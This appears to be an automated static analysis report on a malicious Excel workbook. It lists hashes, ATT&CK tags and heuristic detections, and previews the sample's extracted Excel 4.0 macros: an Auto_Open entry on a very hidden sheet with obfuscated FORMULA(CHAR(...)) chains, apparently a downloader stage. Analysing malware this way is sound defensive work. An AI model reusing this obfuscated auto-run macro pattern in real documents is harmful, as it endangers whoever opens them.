Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 170733831d4fa1f7…

MALICIOUS

Office (OLE)

193.5 KB Created: 2020-04-09 12:29:51 Authoring application: Microsoft Excel First seen: 2020-07-24
MD5: 04d17e634148a7fe676182ea745359c5 SHA-1: efed8a80a0b8b969e80adb4c9ff4d92e9ed43776 SHA-256: 170733831d4fa1f7380670924270c6bbfe7774e92c35429de478cd18debf5e99
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel spreadsheet containing Excel 4.0 macros, specifically an Auto_Open macro. This macro is configured to execute dangerous functions, including the RUN function, which is commonly used to launch arbitrary code. The macro appears to be designed to download and execute a secondary payload, although the specific URL or payload is not directly visible in the provided evidence.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.microsoft.com/photo/1.0/In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 21325 bytes
SHA-256: b162b0bd6ca484a70541a44dfbd0636b1a40ba2bcb9afbf972242c70c29459a6
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden -  kQrXiEj3b
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!BA1 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  kQrXiEj3b,BA1,"FORMULA(F94-A89-L84-R93-DAY(NOW()),V97)",""
'  kQrXiEj3b,BA2,APP.MAXIMIZE(),""
'  kQrXiEj3b,BA3,"FORMULA(CHAR(A1-V97)&CHAR(A2-V97)&CHAR(A3-V97)&CHAR(A4-V97)&CHAR(A5-V97)&CHAR(A6-V97)&CHAR(A7-V97)&CHAR(A8-V97)&CHAR(A9-V97)&CHAR(A10-V97)&CHAR(A11-V97)&CHAR(A12-V97)&CHAR(A13-V97)&CHAR(A14-V97)&CHAR(A15-V97)&CHAR(A16-V97)&CHAR(A17-V97)&CHAR(A18-V97)&CHAR(A19-V97)&CHAR(A20-V97)&CHAR(A21-V97)&CHAR(A22-V97)&CHAR(A23-V97)&CHAR(A24-V97)&CHAR(A25-V97)&CHAR(A26-V97)&CHAR(A27-V97)&CHAR(A28-V97)&CHAR(A29-V97)&CHAR(A30-V97)&CHAR(A31-V97)&CHAR(A32-V97)&CHAR(A33-V97)&CHAR(A34-V97)&CHAR(A35-V97)&CHAR(A36-V97)&CHAR(A37-V97)&CHAR(A38-V97)&CHAR(A39-V97)&CHAR(A40-V97),BB1)",""
'  kQrXiEj3b,BA4,"FORMULA(CHAR(B1-V97)&CHAR(B2-V97)&CHAR(B3-V97)&CHAR(B4-V97)&CHAR(B5-V97)&CHAR(B6-V97)&CHAR(B7-V97)&CHAR(B8-V97)&CHAR(B9-V97)&CHAR(B10-V97)&CHAR(B11-V97)&CHAR(B12-V97)&CHAR(B13-V97)&CHAR(B14-V97)&CHAR(B15-V97)&CHAR(B16-V97)&CHAR(B17-V97)&CHAR(B18-V97)&CHAR(B19-V97)&CHAR(B20-V97)&CHAR(B21-V97)&CHAR(B22-V97)&CHAR(B23-V97)&CHAR(B24-V97)&CHAR(B25-V97)&CHAR(B26-V97)&CHAR(B27-V97)&CHAR(B28-V97)&CHAR(B29-V97)&CHAR(B30-V97)&CHAR(B31-V97)&CHAR(B32-V97)&CHAR(B33-V97)&CHAR(B34-V97)&CHAR(B35-V97)&CHAR(B36-V97)&CHAR(B37-V97)&CHAR(B38-V97)&CHAR(B39-V97)&CHAR(B40-V97),BB2)",""
'  kQrXiEj3b,BA5,"FORMULA(CHAR(C1-V97)&CHAR(C2-V97)&CHAR(C3-V97)&CHAR(C4-V97)&CHAR(C5-V97)&CHAR(C6-V97)&CHAR(C7-V97)&CHAR(C8-V97)&CHAR(C9-V97)&CHAR(C10-V97)&CHAR(C11-V97)&CHAR(C12-V97)&CHAR(C13-V97)&CHAR(C14-V97)&CHAR(C15-V97)&CHAR(C16-V97)&CHAR(C17-V97)&CHAR(C18-V97)&CHAR(C19-V97)&CHAR(C20-V97)&CHAR(C21-V97)&CHAR(C22-V97)&CHAR(C23-V97)&CHAR(C24-V97)&CHAR(C25-V97)&CHAR(C26-V97)&CHAR(C27-V97)&CHAR(C28-V97)&CHAR(C29-V97)&CHAR(C30-V97)&CHAR(C31-V97)&CHAR(C32-V97)&CHAR(C33-V97)&CHAR(C34-V97)&CHAR(C35-V97),BB3)",""
'  kQrXiEj3b,BA6,"FORMULA(CHAR(D1-V97)&CHAR(D2-V97)&CHAR(D3-V97)&CHAR(D4-V97)&CHAR(D5-V97)&CHAR(D6-V97)&CHAR(D7-V97)&CHAR(D8-V97)&CHAR(D9-V97)&CHAR(D10-V97)&CHAR(D11-V97)&CHAR(D12-V97)&CHAR(D13-V97)&CHAR(D14-V97)&CHAR(D15-V97)&CHAR(D16-V97)&CHAR(D17-V97)&CHAR(D18-V97)&CHAR(D19-V97)&CHAR(D20-V97)&CHAR(D21-V97)&CHAR(D22-V97)&CHAR(D23-V97)&CHAR(D24-V97)&CHAR(D25-V97)&CHAR(D26-V97)&CHAR(D27-V97)&CHAR(D28-V97)&CHAR(D29-V97)&CHAR(D30-V97)&CHAR(D31-V97)&CHAR(D32-V97)&CHAR(D33-V97)&CHAR(D34-V97)&CHAR(D35-V97),BB4)",""
'  kQrXiEj3b,BA7,"FORMULA(CHAR(E1-V97)&CHAR(E2-V97)&CHAR(E3-V97)&CHAR(E4-V97)&CHAR(E5-V97)&CHAR(E6-V97)&CHAR(E7-V97)&CHAR(E8-V97)&CHAR(E9-V97)&CHAR(E10-V97)&CHAR(E11-V97)&CHAR(E12-V97)&CHAR(E13-V97)&CHAR(E14-V97)&CHAR(E15-V97)&CHAR(E16-V97)&CHAR(E17-V97)&CHAR(E18-V97)&CHAR(E19-V97)&CHAR(E20-V97)&CHAR(E21-V97)&CHAR(E22-V97)&CHAR(E23-V97)&CHAR(E24-V97)&CHAR(E25-V97)&CHAR(E26-V97)&CHAR(E27-V97)&CHAR(E28-V97)&CHAR(E29-V97)&CHAR(E30-V97)&CHAR(E31-V97)&CHAR(E32-V97)&CHAR(E33-V97)&CHAR(E34-V97)&CHAR(E35-V97)&CHAR(E36-V97)&CHAR(E37-V97)&CHAR(E38-V97)&CHAR(E39-V97)&CHAR(E40-V97)&CHAR(E41-V97)&CHAR(E42-V97)&CHAR(E43-V97)&CHAR(E44-V97)&CHAR(E45-V97)&CHAR(E46-V97)&CHAR(E47-V97)&CHAR(E48-V97)&CHAR(E49-V97)&CHAR(E50-V97)&CHAR(E51-V9
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.